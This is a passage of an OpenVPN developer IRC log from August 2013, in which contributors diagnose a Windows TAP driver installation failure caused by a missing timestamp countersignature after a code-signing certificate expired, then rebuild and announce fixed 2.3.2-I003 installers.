13:25 <@pekster> Blah, #320 is semi-valid becuase OpenVPN needs to direct users to the de-coupled TAP-Windows program name group. I'll send a patch to the ML on that 14:11 <@plaisthos> not sure why that is only semi valid :) 14:11 <@cron2> ecrist: what krzee said 14:31 <@pekster> plaisthos: The "not included with OpenVPN" isn't quite true :) 14:32 <@pekster> I should verify that the default install puts those scripts there; there's no good reason not to as it's 2 files that take up mere kilobytes of disk space (my Windows VM is transferring between hosts atm, so I need to wait for my test env to try it like a 'normal' user ;) 14:32 <@pekster> Especially not if openvpn error messages point users there, it should be part of the default package options 14:53 <@plaisthos> pekster: ah that 15:09 <@vpnHelper> RSS Update - tickets: #321: OpenVPN 2.2.3 released with expired driver certificate. <https://community.openvpn.net/openvpn/ticket/321> 15:09 <@cron2> what is 2.2.3? 15:10 <@cron2> oh 15:10 <@cron2> that is 2.3.2, and our cert expired 15:10 <@cron2> mattock: yours 15:12 <@pekster> Yea, needs a new MS code-signing keypair 15:52 <@pekster> NB: the Windows installers are also signed with the same (expiring) cert 15:53 <@pekster> That'll be a blocker to rolling the next release, at least for win users 20:03 -!- raidz is now known as raidz_away --- Day changed Thu Aug 22 2013 01:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:00 <@mattock> I'm thinking we could have a quick meeting today 02:00 <@mattock> I recall waldner had some things he'd like to discuss, and we could always tackle a few bugs/patches :) 02:00 <@mattock> who could attend? 02:01 <+krzee> o/ 02:02 <@mattock> krzee: one-armed standing applause? :P 02:02 <+krzee> raising my hand! 02:02 <@mattock> yeah, figured that out slightly slow :P 02:02 <@pekster> +1, I can. I'd also like to discuss some of the Windows build stuff, but I'm fine just bugging you if we're the only folks interested :P. Mostly how to track build changes (that bit me yesterday) and ideas to make the nsis stuff easier 02:03 <@mattock> pekster: I'm fine with either a meeting or ad hoc discussion 02:03 <@mattock> but if we'll arrange a meeting we could have that discussion there 02:04 <@pekster> That should be fine (I think my issues are quick-ish) as someone else might have ideas/comments or related thoughts 02:04 <@pekster> Just didn't want to spam win32 stuff for folks who don't care :) 02:08 <@mattock> yeah, most people (me included) want to avoid it, but can't :) 02:08 <@pekster> Right, it's a big platform, and as ugly as it is, multi-plaform support requires it 02:09 <@mattock> there is a strange (timestamping?) issue with 2.3.2 windows installers: https://community.openvpn.net/openvpn/ticket/321 02:09 <@pekster> I picked up hacking on the next-gen easy-rsa stuff (actually making some substantial changes yesterday & today) and making it "go" under Windows is, as usual, a pain 02:09 <@vpnHelper> Title: #321 (OpenVPN 2.2.3 released with expired driver certificate.) – OpenVPN Community (at community.openvpn.net) 02:09 <@mattock> I'll have to verify that tap-windows build is doing what it's supposed to 02:09 <@pekster> mattock: Yes, MS "Authenticode" cert expired yesterday 02:09 <@pekster> Does 'OpenVPN Tech' have a non-expired one? :) 02:09 <@mattock> that I know, but shouldn't the timestamping service take care of that? 02:10 <@mattock> yes we do 02:10 <@mattock> or do the drivers become obsolete once the certificate expires? 02:10 <@pekster> I wouldn't think so... I'll try re-installing in a VM that hasn't seen the driver before (as it otherwise green-lights it I think) 02:10 <@mattock> I can fortunately provide a fix quickly, if tap-windows is really borked 02:10 <@pekster> Or let me mess with my LSA on my Vista box which will be faster to see if it still works when I ban unsigned drivers 02:11 <@mattock> I'll check if the 2.3.2 installer fails on my win7 02:11 <@pekster> I thought the user was just noticing the expiring cert -- I suspec they have a differnet problem, like instead of a domain policy to "ask" it blocks it 02:11 <@mattock> which is in test mode, which never seemed to work properly 02:12 <@mattock> pekster: if you can check with your Vista please do 02:12 <@mattock> I won't be able to get a new Windows instance installed until tomorrow anyways 02:12 <@pekster> Sure, let me get this patch sent cleanly then I'll poke at it 02:13 <@mattock> ok, thanks! 02:13 <@pekster> I was trying to use my shiney gpg keypair, but I don't want to mess with it inline, and the mail client apparently adds a newline making my .sig fail if I do it attached :( 02:13 <@pekster> Not that it matters, but I like the idea of signed patches. Oh well. 02:13 <@mattock> with all the NSA stuff going on I also like signed emails 02:14 <@pekster> Yea. I just wish PGP/MIME worked more places 02:15 <@pekster> I could just give up and do that anyway and declare if any of (us) devs are using Outlook Express, you deserve the pain you get, but I don't know if sf.net and gmane place nice with patch display inlien if I do that 02:19 <@pekster> This is a tiny patch (impact and length-wise) so I'm just going to try the OpenPGP/MIME thing (RFCs 4880 / 3156 ) and see how it works. It'll be a good test to see if anyone has issues ;) 02:25 * pekster crosses fingers & hits send 02:28 <@pekster> Hmm, well that failed wonderfuly :\ 02:28 <@pekster> Dunno if gmane or the sf.net end is at fault there. Why is security so hard? :P 02:33 <@cron2> mattock: +1 02:33 <@vpnHelper> RSS Update - testtrac: Always load intermediate certificates from a PKCS#12 file <https://github.com/OpenVPN/openvpn/commit/6481f879eb62cafa6ad652801b2b5c45e546ef44> || Add a note what setenv opt does for OpenVPN < 2.3.3 <https://github.com/OpenVPN/openvpn/commit/39dad37d5b13c4dc0614ab7b19fdae88c23de0a2> || Add support to ignore specific options. <https://github.com/OpenVPN/openvpn/commit/b685a1e6b012682ce7d6fb31960273b8f5213714> | 02:33 <@mattock> cron2: +1 to the meeting, or to the NSA stuff? :) 02:34 <@cron2> meeting 02:34 <@cron2> krzee/ecrist: vpnhelper is doing it again 02:36 <@pekster> Hmm, maybe only sf.net blew up? gmane seems to have done okay: http://article.gmane.org/gmane.network.openvpn.devel/7825 02:36 <@vpnHelper> Title: Gmane -- PATCH Correct error text when no Windows TAP device is present (at article.gmane.org) 02:37 <@mattock> cron2: ok, great! 02:37 <@mattock> I wasn't able to trigger any tap-windows errors on my win7 openvpn test box 02:37 <@mattock> but I'll retry with win8 VM which I forgot I had lying around 02:38 <@mattock> it's never been in any "test mode" or anything, so it should be reliable 02:38 <@mattock> in this regard 03:30 <@mattock> waldner, pekster: here's today's meeting list, including the can of worms topic: https://community.openvpn.net/openvpn/wiki/Topics-2013-08-22 03:30 <@vpnHelper> Title: Topics-2013-08-22 – OpenVPN Community (at community.openvpn.net) 03:31 <@mattock> currently topic may not include all the information required to understand the issue fully, so I'd appreciate if you guys could explain the issue in more detail 03:31 <@mattock> that should help avoid having to explain the thing all over again during the meeting 03:32 < waldner> mattock: sure, thanks 03:33 < waldner> what time will it be? 03:34 <@mattock> 18:00 UTC 03:34 <@mattock> pekster: added your suggested openvpn-build topics 03:35 < waldner> will james be attending? 03:38 <@mattock> I'll try to get him here, too 03:38 <@mattock> he has a vested interest in this, because this could potentially break AS stuff 03:38 < waldner> I thought so, yes 03:38 < waldner> because the management interface is involved 03:39 <@pekster> AS is likely one of the few places the challenge/response scheme is used as well 03:39 <@mattock> pekster: exactly 03:39 <@mattock> I was about to say the same 03:39 <@pekster> It's possible some implementations try to use it to do cert and/or un/pw PLUS c/r, but I suspect that's a tiny userbase, maybe even just you waldner :) 03:40 <@pekster> But, clearly we should try to make sure both sides play nice with what we come up with 03:40 < waldner> not even I, but of course compatibility with current behavior (whatever it is) has to be preserved 03:43 <@mattock> pekster, waldner: I added your earlier lengthy IRC discussion to the topic page as an attachment 03:43 < waldner> mattock: thanks 03:43 <@mattock> hopefully somebody besides me finds time to read it before the meeting :) 03:43 <@pekster> A good part of that was me not realizing all the parts at work 03:43 < waldner> if someone's so crazy to actually *read* it... 03:43 <@mattock> waldner: I was :P 03:44 <@pekster> It wasn't until the end that I finally tried to split the "big mess" into the 3 basic parts I think are at the core 03:44 <@mattock> it took some time 03:44 <@mattock> pekster: I think one of those 3 basic parts is missing from the topic list atm 03:44 < waldner> one thing is inlining auth-user-pass; this should be no problem 03:45 < waldner> second piece is allowing only username via auth-user-pass file (inlined or real file) 03:45 < waldner> this is potentially a big code refactoring 03:46 <@mattock> ok, fixed 03:46 <@mattock> more fixed now 03:46 <@pekster> I had to look back at the end of the earlier convo, but I think the 3rd item is how the c/r is handled when using --auth-user-pass (either inlined or by file) 03:46 < waldner> third is a few things I found out while doing test to understand how it works right now, the main one is what should happen if auth-user-pass file is used together with static-challenge 03:46 <@pekster> Ah, yea you got it 03:47 <@pekster> Right, I think that 3rd item qualifies as "not functional" now, although none of us could really define how/why that behaviour is 03:47 < waldner> imho as it stands it doesn't work correctly, so we should discuss whether it's a bug, or whether it should be allowed at all since it doesn't make much sense 03:48 <@pekster> Sure, sure, just making sure the items on the patch match your report of the issue (you've seen more of the code recently than any of us) 03:48 <@pekster> s/patch/wiki 03:48 <@pekster> If it does, then I think our last mess of a conversation at least accomplished something 04:39 <@pekster> mattock: Windows tap stuff works fine for me, even after setting a 'block unsigned driver installation' policy (and rebooting, for good measure.) 32 and 64 bit installers work fine. I'll update the patch with the boring details and ask for clarification. See also these MSDN docs on how apparently server 2008 64-bit (but not 32-bit) outright refuses drivers it doesn't like (unsigned _or_ ones not bound to MS-trusted roots) 04:40 <@pekster> http://technet.microsoft.com/en-us/library/dd919200%28v=WS.10%29.aspx and http://msdn.microsoft.com/en-us/library/windows/hardware/ff548231%28v=vs.85%29.aspx 04:40 <@vpnHelper> Title: Requirements for Device Driver Signing and Staging (at technet.microsoft.com) 04:40 <@pekster> I don't think either of those applied, but figured I'd link my research anyway 04:47 -!- hel [~hel@mail.head.de] has joined #openvpn-devel 04:47 <@cron2> pekster: the mail signing works, but the attachment has data type "text/x-diff", which is not displaying in my MUA but it wants to save it... so that's a bit inconvenient 04:48 <@pekster> Ah, bummer (kinda like what gmane does.) Thunderbird displays it, but the signing bit is broken, at least for me 04:48 <@pekster> cron2: What MUA, and did the signature verify for you? Enigmail won't even show me that my list-received-message was signed, at least in my NNTP account :( 04:49 <@cron2> mutt, and it says 04:49 <@cron2> [-- PGP output follows (current time: Thu Aug 22 11:45:38 2013) --] 04:49 <@cron2> gpg: Signature made Thu Aug 22 09:25:09 2013 CEST using RSA key ID 606FD463 04:49 <@cron2> gpg: Can't check signature: public key not found 04:49 <@cron2> [-- End of PGP output --] 04:49 < hel> Hi there. Did it already come to attention that the OpenVPN-Certificate (which the TAP drivers are signed with) is expired since yesterday? That means now Windows pops up a warning when installing the driver and silent installations won't work at all any more. 04:50 <@pekster> Ah, okay (you just don't have my key, you'd need to `gpg --recv-keys` on my ID. And it may fail verification if my client is any indication 04:50 <@cron2> lets see 04:50 * cron2 points hel at mattock "he's investigating but seems to be not able to reproduce" 04:50 <@pekster> hel: I just did some testing on that about 20 minutes ago, and I am unable to reproduce your issue. The signature is _still_ valid becuase it was signed before the expiration 04:51 < hel> that's also how I understand it but I tested on a freshly installed 7 box and it pops up an error 04:51 <@cron2> pekster: but you can't verify the signature chain if there is an expired cert in between, no? 04:51 <@pekster> hel: More specifically, in my System event logs, I get event ID 20003 "User-PnP" that concludes the process to add "Service tap0901" and exits with 0 (success) status 04:51 < hel> oh - i found the bug on trac now... 04:51 < hel> it's #319 04:51 <@pekster> cron2: Doesn't matter. My clock is set for today, 8/22, yet the OpenVPN Tech cert (that "expires" 8/21) is still valid. It shows it specifically as "Signature OK" 04:52 <@cron2> weird 04:52 <@pekster> hel: Can you check the event log and see if you get an error in the System log during install? 04:52 < hel> will do 04:52 <@cron2> but it doesn't matter that much - mattock wants to release a new installer anyway, and that one needs a new cert 04:52 <@cron2> pekster: with the key installed, it says "BAD signature" 04:52 <@pekster> Probably the same event ID, but just look for the annoying red X's. Even better if you can select & export the relevant logs so I can take a look 04:53 <@pekster> cron2: Yup, that's what I got too. Thanks for checking (I'll work something else out if I care about signing them. Something less intrusive) 04:55 < hel> no red X in the eventlog (at least not in the "Administrative View" where the X normally show up) 04:55 < hel> but I do have a windows security warning and asking me if I want to install the driver anyway 04:55 <@pekster> That should, IIRC, be noted in either the System or Application logs 04:56 <@pekster> (been a while since I've installed an unsigned driver) 04:56 <@pekster> This is 2.3.2, right? What platform (host OS & 32/64-bit) and what 32/64 installer? 04:56 < hel> 2.3.2-I002 32bit 04:56 < hel> in a VM 04:56 < hel> hostOS is Win7Pro German 04:57 <@pekster> It's not saying it's unsigned or anything, rigiht? The "first" time you install even signed drivers it's normal to ask you 04:57 < hel> it says the signature is invalid 04:57 <@pekster> It'll then show you that it was properly signed, in this case by the key older "OpenVPN Technologies Inc." 04:57 <@pekster> :\ 04:57 <@pekster> holder* 04:57 < hel> If you want I can give you a teamviewer ID if you think that'll work better for diagnosis 04:58 < hel> if I decline the signature, I get a WER-Log in the application events 04:59 <@pekster> Ah, okay, that's the notice that the driver failed (due to user decline to continue.) However, certain systems (2008 server 64-bit) won't let you install it anyway. If you right-click on the main openvpn installer and go to the digital signatures tab, does it show that one is okay? 05:00 < hel> shows as valid 05:00 < hel> but the .CAT files from the tap-driver show as invalid 05:00 <@pekster> Oh, I did my testing with I001, not I002. Let me grab a copy of that here and see if I can reproduce 05:00 < hel> I001 has the same problem 05:01 < hel> double-click the tap901.cat, show signature and it sais "a required certificate has expired" (i'm translating from german - dunno how the correct english error is) 05:01 <@pekster> Oh, so it does. Well now I want to know why my own logs didn't say so, heh. What a "Secure" OS this is 05:02 < hel> if you install the driver once then the error won't come... it only errors on a "fresh" windows 05:02 < hel> if I click "install anyway" then the problem seems to be gone and I don't know where windows stores this decision 05:03 < hel> not in the certstore AFAICS 05:03 <@pekster> deep in the registry bowels I'm sure. Well, at least I see the failed signature verification, thanks for pointing me to it 05:04 <@pekster> mattock: So, the 2 installers (tap & openvpn) have countersignatures for the timestamp; the driver .cat file does not. I suspect this might be the issue b/c otherwise Authenticode recipients (you) could fake signing by setting the clocks back 05:05 <@pekster> Bit of a wild-guess at this point, but it's the only connection I can make as to why an otherwise-valid signature wouldn't be valid. The .cat lists the signing time as "Not available" 05:14 <@pekster> mattock: Yea, inspection of other signed drivers on my OS (eg: my LAN driver, signed in 2011 with a entity cert that expired in 2012) shows as valid, but it has a timestamp countersignature within the validity period. Looks like that's the issue 05:17 <@pekster> http://technet.microsoft.com/en-us/library/dd919238%28v=ws.10%29.aspx#bkmk_sub4c 05:17 <@vpnHelper> Title: Steps for Signing a Device Driver Package (at technet.microsoft.com) 05:28 <@vpnHelper> RSS Update - tickets: #322: OpenVPN 2.3.2 TAP won't install start today on Windows64bit <https://community.openvpn.net/openvpn/ticket/322> 05:32 <@pekster> Since #321 has info, I'll leave that as the "master tap driver" bug and close the current dupes as 'duplicate' in the tracker. Otheres can feel free to do the same if you spot them 05:32 <@pekster> (since apparently no one has heard of doing a search, or at least looking at the last day's worth of reports) 05:45 <@plaisthos> that like the 1star app rating "Does not work" 05:53 <@mattock> cron2: the updated windows installer was (silently) released last week already 06:17 < hel> pekster, sorry for that... I only found the correct report after complaining. 06:23 <@pekster> I was more amused that we got 3 of them total (and I'm sure it won't be the last as the North America beings to awake) 06:26 <@mattock> I'll check if openvpn-build is skipping the catalog file signing 06:26 <@mattock> sorry, tap-windows build 06:31 <@pekster> It's getting signed, but not with the timestamp 06:31 <@pekster> Ref the last technig URL I posted 06:32 <@pekster> Hence why it worked "yesterday" but not "today" ;) 06:45 <@mattock> hmm, the produced signtool command for drivers should include timestamping: 06:45 <@mattock> %SIGNTOOL%" sign /v /p "%CODESIGN_PASS%" /f "%CODESIGN_PKCS12% /t "%CODESIGN_TIMESTAMP%" /ac "%CODESIGN_CROSS%" 06:45 <@pekster> If it re-runs, does it get the timestamp signature added on the .cat file? That's the important bit 06:45 <@mattock> hmm, not sure 06:45 <@mattock> that could be it 06:47 <@pekster> 2.2.2 had it, but maybe in the build changes to 2.3.0 it got lost? 06:47 <@mattock> yeah, that's very likely 06:48 <@pekster> Yup, confirmed w/ my copy of 2.3.0-rc1 07:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 07:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:10 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:12 <@mattock> interesting.. manually running the above command with correct paramater signs _and_ timestamps the catalog file 07:13 <@mattock> resigning the same file manually does update the timestamp 07:13 <@mattock> so it seems tap-windows build doing something funky that prevents timestamping 07:24 <@ecrist> good morning kids 07:28 <@mattock> good morning 07:28 <@mattock> we're having windows trouble 07:28 <@mattock> which I guess is not very surprising, lol :P 07:31 <@pekster> Hey, 2.2.2 is wonderful. Everyone just needs to downgrade! Ya'll didn't want IPv6 anyway 07:31 <@ecrist> not even a little surprising 07:34 <@pekster> Although everything said, the security model is sound, and >=2.3-rc1 did omit a rather critical bit. Thankfully I trust the gpg sigs just as much (seeing as the same people access both!) and my OS lets me keep using it 07:35 <@mattock> yes, tap-windows build is not constructing the correct command-line with the /t option 07:35 <@mattock> it looks like it is, but it's not 07:40 <@mattock> fixed the issue 07:41 <@mattock> very obscure issue, might be a cmd.exe "feature", or a bug 07:42 <@pekster> Sounds very familiar. I had enough fun with the CreateProcessW() bug I found a while back. You won the prize this morning 07:45 <@mattock> thanks 07:45 <@mattock> I love prices :D 07:45 <@mattock> there's only one thing I like even more: not having to solve obscure windows-related issues :P 07:46 <@plaisthos> so how do we get a good signed tap/installer? 07:46 <@plaisthos> new certificate or does mattock tell his computer to be in the past 07:47 <@mattock> plaisthos: I just rebuild a new tap-windows driver with the new certificate _and_ timestamped catalog file 07:47 <@pekster> plaisthos: Well, new cert as of today, but that wasn't the real problem here. The issue was one of the 3 things the build signs was signed, but not cross-signed with a timestamp 07:47 <@mattock> I'll just verify that it works as expected 07:48 < hel> the only thing you'll hate more is solving obscure NSIS issues 07:48 < hel> BTW: thank you for not using installshield 07:48 <@mattock> actually it was cross-signed (I think that's mandatory for drivers) but not timestamped 07:48 <@mattock> at least the /ac parameter was passed to the .cat-signing signtool command 07:48 <@mattock> but the /t (timestamp) was not 07:48 <@mattock> due strange issue with variable scoping or something 07:48 < hel> looks like there was a " missing in the command line you posted earlier 07:49 <@pekster> probably just a c/p miss 07:49 < hel> %SIGNTOOL%" sign /v /p "%CODESIGN_PASS%" /f "%CODESIGN_PKCS12% /t "%CODESIGN_TIMESTAMP%" /ac "%CODESIGN_CROSS%" 07:49 < hel> would pass "%CODESIGN_PKCS12% /t " to /f 07:50 < hel> and no /t 07:52 <@pekster> No "countersignatures" listed on my 2.3.2 x64 .cat file 07:58 <@mattock> ah yes, that true 07:58 <@mattock> fortunately my fix fixed both issues 07:58 <@mattock> my build vm is now generating updated windows installers 07:58 <@mattock> for openvpn 2.3.2 07:59 <@pekster> Yup, cert update and a tap version bump was it? 07:59 <@mattock> yes, it's signed with a new cert 07:59 <@pekster> It'd have to be to be useful now :P 07:59 <@mattock> no version number bump, as this is not really related to the tap-windows driver itself 08:00 <@mattock> the tap-windows installer package is not 9.9.2_3 instead of 9.9.2_2 08:00 <@pekster> Right, I just knew that was coming at some point too, but differnet issue there 08:00 <@mattock> due to lack of proper "build number" mechanism 08:00 <@mattock> yep 08:00 <@pekster> Yea; my comment about that on the agenda later today wasn't even about this issue in particular, but a much older one that I couldn't really get a good answer for "when" a prior build bug was fixed 08:21 < hel> i have one more question about the installer. The startmenu items get installed into "All-Users"-Start Menu. But the Desktop Icon gets installed into the current user's desktop. Is that deliberate? Because with most automated installers, the icon ends up in the system profile (some obscure path way down %WINDIR%\system32. 08:22 < hel> my scripts then move the icon back to [ALLUSERSDESKTOP] as a workaround, but if this is an oversight... well :) 08:31 <@pekster> hel, does the righit thing for me. Vista here, but >=Vista has the same "new" Windows structure. I get it in C:\Users\Public\Desktop 08:32 <@pekster> The program files (start menu) entries are right before the desktop entries, and the source for the .nsi doesn't call SetShellVarContext between these two, so it should ever differ 08:34 < hel> hmm... i'll recheck - the older versions definitely had this problem - but the 2.3.2-I002 doesn't complete install ... 08:35 < hel> I withdraw the question 08:38 <@vpnHelper> RSS Update - tickets: #323: http://openvpn.net/faq.html#dhcpclientserv not working anymore <https://community.openvpn.net/openvpn/ticket/323> 08:40 < hel> yep ... it works right - I need to set the date back ATM to allow the installer to complete... icons come out correctly 08:45 <@mattock> updated installers: 08:45 <@mattock> http://build.openvpn.net/downloads/releases/openvpn-install-2.3.2-I003-i686.exe 08:45 <@mattock> http://build.openvpn.net/downloads/releases/openvpn-install-2.3.2-I003-x86_64.exe 08:45 <@mattock> they seem to work, and the tap-windows catalog files are signed and timestamped 08:45 <@mattock> basic smoketests passed 08:46 <@mattock> hel: can you test the latest installers? 08:47 <@pekster> valid until 2016, nice 08:48 <@pekster> Of course, the installer can be used "forever" with the timestamp there now too :) 08:48 <@mattock> yep 08:48 <@pekster> .asc files still to come? 08:49 * pekster got a 404 for those 08:49 <@mattock> yes, haven't created them yet 08:49 <@mattock> I'll test the 32-bit installer first, just in case 08:49 < hel> hmm.... "An error occurred installing the TAP device driver...." ... let me dig a little 08:49 < hel> ah sry... I'm confused by my script dependencies... 08:51 < hel> my script first puts the OpenVPN-Cert into Windows Certstore before installing openvpn to suppress the certificate warning 08:51 <@pekster> Shouldn't be necessary any more since the trust-chain validates Authenticode requirements nwo 08:53 < hel> okay i'll try without importing the cert 08:53 <@pekster> Maybe, I guess I dunno what extra magic you have on the frontend 08:54 <@pekster> mattock: 32 & 64-bit install for me, both with my temporary restrictive driving signing policy (outright blocking it without valid certs) 08:54 <@mattock> pekster: ok, great! 08:55 <@mattock> basic smoketests passed on both WinXP 32-bit and Win7 64-bit 08:55 <@mattock> and .cat files are signed properly on both 08:56 <@pekster> --version output also looks good, as to buildopts 08:56 < hel> "%WINDIR%\system32\certutil.exe" -addstore "TrustedPublisher" "%TEMP%\tap0901.cat" 08:56 < hel> i still need that 08:56 <@pekster> do* (looks better than my spelling -- ERR_MORE_COFFEE_REQUIRED) 08:56 < hel> but with that - it works beautifully 08:57 <@mattock> hel: so you have some extra strict signature verification going on, or? 08:57 < hel> no, standard windows 08:57 < hel> but if a omit that, windows asks me if i trust OpenVPN Technologies 08:57 <@mattock> ah yes, the same for me actually on win7 08:57 <@pekster> mattock: I got prompted initially, so I'm guessing that's the same thing for whatever automated program set is doing the install for hel 08:58 <@pekster> It'll do that for any driver unless a program goes out of its way to say "no really, it's okay, go do it as long as it's signed" 08:58 < hel> yep, and that prompt must go away for silent automated installation 08:58 <@mattock> that prompt could be circumvented by forcing the publisher certificate to the store before running tap-windows install 08:58 < hel> I guess that's what I did 08:58 <@mattock> yep, exactly 08:59 <@mattock> but that's a separate issue 08:59 <@mattock> I'll push out this new installer build to fix this current bug 08:59 < hel> thanks a lot 08:59 <@mattock> but we should definitely fix silent installs 08:59 <@mattock> np 08:59 <@pekster> Yea, +1 to release. I didn't do any in-depth checking, but all the basics look fine (install process, certs, tap device creation, and timestamping) 08:59 < hel> and while at it, look at UAC - I have a workaround but I don't like it... 09:00 < hel> BTW: You guys are really great - I never had such a quick and cool reaction from developers... it's amazing 09:01 <@pekster> For what hel, the GUI? The deal is some people are creatively using the system service and group permissions so that they can explicitly run the GUI as a non-admin 09:02 < hel> yes - I resorted to using Windows Compatibility Assistant to force the GUI into elevation 09:02 <@pekster> They don't want it to auto-elevate necessarily, and I'm not sure it should (although the issue with the registry is different; maybe there's a way to get it to ask to elevate for that, but that requires more win-api-fu than I care to dedicate to it) 09:03 < hel> I kinda waited for an 'official' blessed solution to pop up in the documentation for non-admin users. 09:03 < hel> the creative ways looked hacky and hard to maintain/bugfix... when VPN doesn't work it's mostly in remote locations. 09:04 < hel> so the few users without admin-privilege are using SecurePoint-Client at the moment 09:05 <@pekster> The long-term goal with the GUI is to move it to use the service as a backend, so any user that has permission to merely control the service can launch the VPNs 09:05 < hel> which is also not optimal, because SecurePoint doesn't log a single bit. 09:06 <@mattock> pekster, hel: GPG signatures and release files in place, will update openvpn.net now 09:06 <@mattock> and make some announcements also 09:06 < hel> great 09:06 < hel> thanks a ton! 09:06 <@pekster> mattock: And all before the 4th bugreport! 09:06 <@mattock> yup :D 09:11 < hel> okay - tested the I003 with WPKG and it runs without a problem 09:13 <@mattock> updated http://openvpn.net/index.php/download/community-downloads.html 09:13 <@vpnHelper> Title: Community Downloads (at openvpn.net) 09:13 <@pekster> mattock: If you still have the build stuff open, did you notice where ./generic/image-win32/openvpn/share/doc/openvpn/license.txt came from? 09:13 <@plaisthos> serious problem sounds like a security problem 09:14 <@mattock> plaisthos: yes, if one stops reading at that point :) 09:14 <@pekster> I verified my git checkout of openvpn-build is up to date on master, and still no joy on the ./build script playing nice 09:14 <@mattock> but I can reword it on popular request :) 09:14 <@plaisthos> I would write expired certificate 09:14 <@mattock> ok 09:14 <@mattock> sounds good 09:14 <@mattock> actually, it's not about the expired certificate really 09:14 <@mattock> that only triggered the bug 09:15 <@pekster> Well, that's the catalist 09:15 <@pekster> Yea 09:15 <@mattock> we didn't notice the problem until now because the cert was still valid 09:15 <@pekster> Might as well blame it than try and explain MS Authenticode practices to people ;) 09:16 <@mattock> what about "The I003 Windows installer fixes a  signature problem in tap-windows driver, which prevented it's installation in many cases." 09:16 <@mattock> notice how "serious" was removed 09:16 <@plaisthos> yes better 09:16 <@pekster> "Expired cert" makes more sense to folks than "one of 3 things we sign didn't have a timestampped cross-signature, leading to verification failures in the Authenticode system when the previously valid certificate expired." I like yours better (though fix the double-space) 09:17 < hel> yes... it was more "annoying" than "serious" 09:17 <@mattock> ok, fixed 09:17 <@pekster> hel: Server 2008 64-bit & 2012 couldn't install at all as it's disallowed. A bit more 'serious' there :\ 09:17 <@plaisthos> mattock: But I would simply write expired certificate 09:17 <@plaisthos> anyone who want more details will follow the link anyway 09:18 <@mattock> plaisthos: then it looks like we're so n00b that we forget to renew our certificates in time :) 09:18 <@plaisthos> mattock: yeah okay 09:18 <@mattock> which we actually _didn't_ (this time) 09:18 <@plaisthos> just avoid serious 09:18 <@mattock> yeah, it's just a "signature problem" now 09:19 <@plaisthos> otherwise people will ask themselves what the serious issue was and if they now need the new version 09:19 <@mattock> which is fairly generic but explains the cause quite well I think 09:19 <@mattock> plaisthos: yes, good point 09:19 <@pekster> That's a terse, yet valid way to desribe it. I don' tthink "sig problem" is hiding anything at all 09:21 <@mattock> I'll link to the latest tap-windows zip/exe too 09:21 <@mattock> in case somebody downloads them separately 09:24 <@pekster> That works, or lets people just upgrade that component without a reinstall of the rest of their stuff 09:24 <@pekster> Oh, minus the default lack of the utilities (I should offer a patch to fix that too...) 09:25 <@pekster> openvpn's installer passes the nsis flag to enable them during silent install, but they should probably be the default in the tap installer anyway 09:26 <@mattock> done 09:27 <@mattock> pekster: re: patch: please do 09:27 <@mattock> I will push my fix to openvpn-build now 09:27 <@mattock> before I forget 09:36 <@pekster> Oh, super nit-picky, but it's -> its in the updated downloads text 09:37 <@pekster> I missed that earlier :\ 09:39 <@mattock> pekster: sure? it's standard genetive 09:40 <@mattock> not plural 09:40 <@pekster> it's becomes "it is", and "which prevented it is installation" doesn't make sense 09:40 <@pekster> There's its' as well when referring to multiple subjects, but it's just the one driver 09:43 <@pekster> Or I made that last one up. Why pilots use English as the international language I'll never know :) 09:46 <@mattock> rabbit = singular 09:46 <@mattock> rabbits = plural 09:46 <@mattock> rabbit's = something is owned by a rabbit 09:46 <@mattock> regarded, I reworded it a bit to (hopefully) be more clear 09:46 <@mattock> regardless 09:46 <@pekster> hah, funny 09:46 <@pekster> https://en.wikipedia.org/wiki/English_possessive#Pronouns 09:47 <@vpnHelper> Title: English possessive - Wikipedia, the free encyclopedia (at en.wikipedia.org) 09:47 <@pekster> The fact that I had to open 4 tabs to find that article is telling enough on the complexity :( 09:47 <@pekster> Apparently 17th century the apostrophe was removed from the possessive form 09:47 <@mattock> this has been a very educative day :D 09:48 <@pekster> Break out the champagne! 09:48 <@mattock> can't, I have to work in a little over 2 hours again, and working while drunk is very difficult 09:49 <@mattock> in this line of business, with 10 SSH sessions open and root access in all :D 09:49 <@pekster> I'm obsessive about locking my workstation when I step more than 1 meter from it since I use ssh agents 09:49 <@mattock> yep, me too 09:50 <@mattock> and "normal" people don't understand why I'm reluctant to let them use my (work) computer for checking their emails 09:50 <@pekster> I generally set up a guest account when I suspect I might need to do that, then just switch user and let them deal with it 09:50 <@mattock> yeah, that's good 09:50 < hel> hehe... "normal" people don't understand why I don't want to know their login passwords 09:50 <@mattock> Ubuntu has one by default, haven't actually used it much 09:51 <@pekster> Yea, I saw that; I'm reluctent to use builtin guest accounts since they're often configured with defaults I don't like 09:51 <@mattock> normal people also don't understand why every user should have a separate account, instead of using shared accounts like "JaneAndJack" 09:52 <@mattock> anyways, thanks pekster & hel for helping to fix this! 09:52 < hel> That can be easily trained assuming that one of those two likes to have a seperate account 09:52 < hel> yes - thank you again for fixing this so quickly 09:52 < hel> and have a nice day - or evening 09:52 <@mattock> you too! 09:53 <@mattock> see you at the meeting perhaps? 09:53 <@pekster> Thanks for swinging by; it helped a lot to have that reference to the .cat file early 09:53 <@mattock> in 3 hours 09:55 < hel> gbye 09:55 -!- hel [~hel@mail.head.de] has quit [Quit: Verlassend] 09:56 <@pekster> 5PM in Germany; it probably is drinking time for him/her :) 10:18 -!- raidz_away is now known as raidz 11:28 * cron2 just read backlog and is happy as well :-) 11:40 <@vpnHelper> RSS Update - testtrac: Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb953897c334b96a6a6b> 12:53 < ngharo> o/ 12:57 <@mattock> nice 13:00 <@cron2> o/ 13:00 < waldner> \o 13:00 < waldner> (I'm left-handed) 13:01 <@mattock> hi 13:01 <@mattock> shall we start? 13:01 -!- jamesyonan [~jamesyona@24.9.78.222] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:01 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2013-08-22 13:01 <@vpnHelper> Title: Topics-2013-08-22 – OpenVPN Community (at community.openvpn.net) 13:02 <@mattock> so cron2, ngharo, waldner, mattock and jamesyonan already 13:02 <@mattock> good attendance 13:02 <@mattock> first we have a fairly hairy topic, based on 